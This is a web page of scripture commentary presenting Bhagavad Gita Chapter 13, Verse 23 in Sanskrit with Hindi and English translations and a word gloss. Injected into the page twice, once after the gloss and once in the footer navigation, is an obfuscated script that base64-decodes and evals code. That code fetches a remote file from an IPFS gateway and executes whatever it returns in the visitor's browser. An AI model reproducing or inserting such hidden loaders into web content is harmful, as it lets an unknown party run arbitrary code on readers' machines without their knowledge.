The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
गीता अध्याय-13 श्लोक-23 / Gita Chapter-13 Verse-23
प्रसंग-
इस प्रकार गुणों के सहित प्रकृति और पुरुष का वर्णन करने के बाद अब उनको यथार्थ जानने का फल बतलाते हैं-
य एवं वेत्ति पुरुषं प्रकृतिं च गुणै: सह ।
सर्वथा वर्तमानोऽपि न स भूयोऽजियते ।।23।।
|
इस प्रकार पुरुष को और गुणों के सहित प्रकृति को जो मनुष्य तत्त्व से जानता है, वह सब प्रकार से कर्तव्य कर्म करता हुआ भी फिर नहीं जन्मता ।।23।।
|
He who thus knows the purusa (spirit) and prakrti (nature) together with the gunas,- even though performing his duties in every way, is never born again. (23)
|
एवम् = इस प्रकार ; पुरुषम् = पुरुष को ; च = और ; गुणै: = गुणों के ; सह = सहित ; प्रकृतिम् =प्रकृतिको ; य: = जो मनुष्य ; वेत्ति = तत्त्व से जानता है ; स: = वह ; सर्वथा = सब प्रकार से ;वर्तमान: = बर्तता हुआ ; अपि = भी ; भूय: = फिर ; न = नहीं ; अभिजायते = जन्मता है अर्थात् पुनर्जन्म को नहीं प्राप्त होता है ;
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
|
महाभारत |
---|
| महाभारत के पर्व | | | महाभारत के चरित्र | | | स्थान | | | महाभारत कथा | | | अन्य | |
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|